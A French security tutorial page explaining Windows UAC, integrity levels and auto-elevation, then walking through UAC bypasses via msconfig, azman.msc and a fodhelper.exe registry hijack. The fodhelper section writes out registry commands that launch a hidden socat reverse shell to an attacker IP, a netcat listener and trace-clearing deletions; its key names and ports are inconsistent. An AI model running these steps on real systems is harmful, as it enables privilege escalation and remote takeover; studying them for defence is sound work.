🌵Bypass UAC
📚 Un peu de théorie ...
L'UAC (User Account Control)
C'est une fonctionnalité de Windows qui empêche les programmes malveillants d'obtenir des privilèges élevés sans votre autorisation.
Lorsque vous essayez d'installer un nouveau programme ou de modifier votre système, une boîte de dialogue UAC s'affiche pour vous demander si vous êtes sûr de vouloir effectuer cette action. Si vous cliquez sur "Oui", le programme ou la modification sera autorisée à s'exécuter avec des privilèges élevés. Si vous cliquez sur "Non", le programme ou la modification sera bloqué.

Le but de l'UAC est de ne pas se fier uniquement à l'identité de l'utilisateur pour déterminer si certaines actions doivent être autorisées. Par exemple, si un utilisateur télécharge sans le savoir un programme malveillant et qu'il est membre du groupe des administrateurs, ce programme malveillant pourra obtenir des privilèges élevés s'il est lancé et que l'UAC est désactivé. Cependant, si l'UAC est activé, le programme malveillant
💻 Mandatory Integrity Control (MIC)
C'est une fonctionnalité de sécurité dans les systèmes d'exploitation Windows qui permet de restreindre l'accès aux ressources en fonction de leur niveau d'intégrité.
💻 L'Integrity Level (IL)
C'est un niveau de confiance attribué à un processus ou à une ressource (fichier, dossier, clé de registre, etc.) dans le système d'exploitation Windows. Il existe quatre niveaux d'intégrité dans Windows :
Niveau d'intégrité
Description
Low
Niveau le plus bas, pour les processus et ressources provenant d'Internet ou de sources non fiables.
Medium
Niveau par défaut pour la plupart des processus et ressources.
High
Niveau élevé pour les processus et ressources critiques.
System
Niveau le plus élevé, réservé aux processus et ressources du noyau du système.
🔐 Jetons
Pour séparer les rôles entre utilisateurs et administrateurs, Windows utilise des jetons filtrés avec UAC (User Account Control). Voici comment cela fonctionne :
Utilisateurs réguliers : Reçoivent un seul jeton d'accès pour toutes leurs activités. Ce jeton a un niveau d'intégrité moyen (Medium IL).
Administrateurs : Reçoivent deux jetons d'accès :
Filtered Token : Utilisé pour les sans privilèges administratifs. Ce jeton a un niveau d'intégrité moyen (Medium IL).
Elevated Token : Utilisé pour les nécessitant des privilèges administratifs. Ce jeton a un niveau d'intégrité élevé (High IL).
Les administrateurs utilisent le jeton filtré pour les tâches régulières et passent au jeton élevé lorsqu'ils ont besoin de droits administratifs, généralement après une demande de confirmation via UAC. Cela permet de renforcer la sécurité en limitant les privilèges élevés aux tâches qui en ont vraiment besoin.
📡 Fonctionnement :

Une demande est envoyée au système d'exploitation pour exécuter une application en tant qu'administrateur.
La requête est transmise à l'Application Information Service (Appinfo) pour gérer l'élévation.
Appinfo vérifie le manifeste de l'application pour voir si l'AutoElevation est autorisée :
Si oui, l'application est lancée avec les privilèges d'administrateur.
Si non, Appinfo exécute consent.exe, qui affiche la boîte de dialogue UAC sur un bureau sécurisé.
Si l'utilisateur donne son consentement Appinfo exécute la requête en utilisant le jeton d'accès élevé de l'utilisateur.
Appinfo définit ensuite l'ID de processus parent du nouveau processus pour qu'il pointe vers le shell à partir duquel l'élévation a été demandée.
📁 Autoelevate
AutoElevate est un mécanisme dans Windows qui permet à certains programmes de s'élever automatiquement vers un niveau de privilège élevé, sans nécessiter d'intervention de l'utilisateur.
Pour qu'une application puisse bénéficier de l'auto-élévation, elle doit répondre à certaines conditions :
L'exécutable doit être signé par l'éditeur Windows.
L'exécutable doit être situé dans un répertoire de confiance, comme %SystemRoot%/System32/ ou %ProgramFiles%/.
En fonction du type d'application, des exigences supplémentaires peuvent s'appliquer :
Les fichiers exécutables (.exe) doivent déclarer l'élément autoElevate dans leur manifeste. Cela peut être vérifié en utilisant des outils comme sigcheck.
sigcheck64.exe -m [chemin_vers_le_fichier_exécutable]
Pour les objets COM, l'auto-élévation peut être demandée en configurant certaines clés de registre.
Pour en savoir plus sur les clés de registres :
🛠️ Place a la pratique !
Vérifier le Niveau de Notification UAC:
powershell -Command "Get-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorAdmin'"
Appuyez sur Entrée. Cette commande affichera la valeur de la clé de registre
ConsentPromptBehaviorAdmin
, qui indique le niveau de notification pour les administrateurs.0 : Ne jamais notifier.
1 : Toujours notifier.
2 : Notifier uniquement pour les applications (ne pas atténuer le bureau).
5 : Notifier uniquement pour les applications (atténuer le bureau).
🖥️ Interface graphique
Avantage : moyen simple de comprendre les concepts de base
Inconvenant : accès à une session graphique > peu probable
📁 msconfig
Notez que msconfig
s'exécute avec un niveau d'intégrité élevé sans demander l'interaction de l'utilisateur.
Depuis le menu démarrer ou le dialogue "Exécuter", ouvrez
msconfig
.Tools > command prompt > launch

Vous obtiendrez un terminal avec un niveau d'intégrité élevé.
📁 azman.msc
Depuis le menu démarrer ou en utilisant la commande "Exécuter", lancez azman.msc.
Dans azman.msc, accédez à l'aide.
Cliquez avec le bouton droit sur n'importe quelle partie de l'article d'aide et sélectionnez "Afficher la source".
Cela ouvrira le processus notepad.exe.
Utiliser Notepad pour ouvrir un shell :
Dans Notepad, accédez à Fichier -> Ouvrir.
Sélectionnez "Tous les fichiers" dans le menu déroulant en bas à droite.
Allez à C:\Windows\System32 et recherchez cmd.exe.
Cliquez avec le bouton droit sur cmd.exe et sélectionnez "Ouvrir".
Lorsque vous lancez azman.msc, cela démarre Microsoft Management Console (MMC) pour gérer les stratégies de contrôle d'accès et autres tâches de gestion des autorisations. Par défaut, MMC s'exécute avec des privilèges élevés (High IL)
On observe que les privilèges ont été hérité !

💻 Fodhelper.exe
Fodhelper.exe est un programme de Windows qui gère les fonctionnalités optionnelles du système, comme les langues supplémentaires ou les applications non installées par défaut.
Il peut s'élever automatiquement pour les tâches administratives, évitant ainsi aux utilisateurs d'avoir à confirmer manuellement l'élévation des privilèges avec UAC.
Fonctionnement de l'exploit
Dans cet exploit, un nouveau nommé ".pwn" est créé.
Ensuite, la commande malveillante est associée à ce ProgID.
Cela signifie que lorsque des fichiers avec l'extension ".pwn" sont ouverts, Windows exécutera automatiquement la commande malveillante.
Ensuite, l'entrée "CurVer" (Version Courante) de la classe "ms-settings" dans le registre est modifiée pour pointer vers le nouveau ProgID ".pwn". La classe "ms-settings" est celle qui est invoquée lorsque fodhelper.exe est lancé. Donc, en modifiant l'entrée "CurVer" pour qu'elle pointe vers notre ProgID ".pwn", lorsque fodhelper.exe essaie d'ouvrir un programme ms-settings, il sera redirigé vers notre ProgID ".pwn".
Par conséquent, il exécutera la commande malveillante associée à ce ProgID, déclenchant ainsi l'exploit.
Sur la cible, vérifiez si votre utilisateur fait partie du groupe Administrateurs et s'il s'exécute avec un jeton d'intégrité moyen :
whoami
net user attacker | find "Local Group"
whoami /groups | find "Label" #les informations sur les niveaux d'intégrité sont précédées de "Label"
Configurez les valeurs de registre requises pour associer la classe ms-settings à un reverse shell:
# Définir la commande à exécuter
set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes"
# Ajouter la commande CMD comme valeur de registre pour la clé spécifiée ".thm\Shell\Open\command" :
reg add "HKCU\Software\Classes\.pwn\Shell\Open\command" /d %CMD% /f
#la commande CMD est ajoutée au registre pour être exécutée lorsque des fichiers avec une certaine extension sont ouverts. ".thm" est utilisé comme une extension fictive dans cet exemple.
# Ajouter la valeur ".thm" pour la clé "ms-settings\CurVer" dans le registre :
reg add "HKCU\Software\Classes\ms-settings\CurVer" /d ".pwn" /f
#Cela permet d'associer les fichiers ".thm" à la classe "ms-settings", ce qui déclenchera l'exécution de la commande précédemment définie lorsque ces fichiers sont ouverts.
Créez un écouteur Netcat sur votre machine attaquante :
nc -lvp 4444
Exécutez fodhelper.exe sur la machine cible :
fodhelper.exe
Effacer les traces :
reg delete "HKCU\Software\Classes\.thm\" /f
reg delete "HKCU\Software\Classes\ms-settings\" /f
🛠️ Tools :
Précautions et Contre-mesures
Surveillez les modifications du registre : Utilisez des outils de surveillance pour détecter les modifications suspectes des clés de registre critiques.
Utilisez des politiques d'exécution strictes : Configurez des politiques d'exécution pour empêcher l'exécution non autorisée de scripts et de commandes.
Mettez à jour régulièrement le système : Appliquez les mises à jour de sécurité pour corriger les vulnérabilités connues.
Désactivez les tâches planifiées non utilisées : Réduisez la surface d'attaque en désactivant les tâches planifiées inutilisées.
Utilisez des logiciels de sécurité avancés : Utilisez des solutions de sécurité avec des capacités de détection de comportement pour identifier et bloquer les tentatives de contournement de l'UAC.
Last updated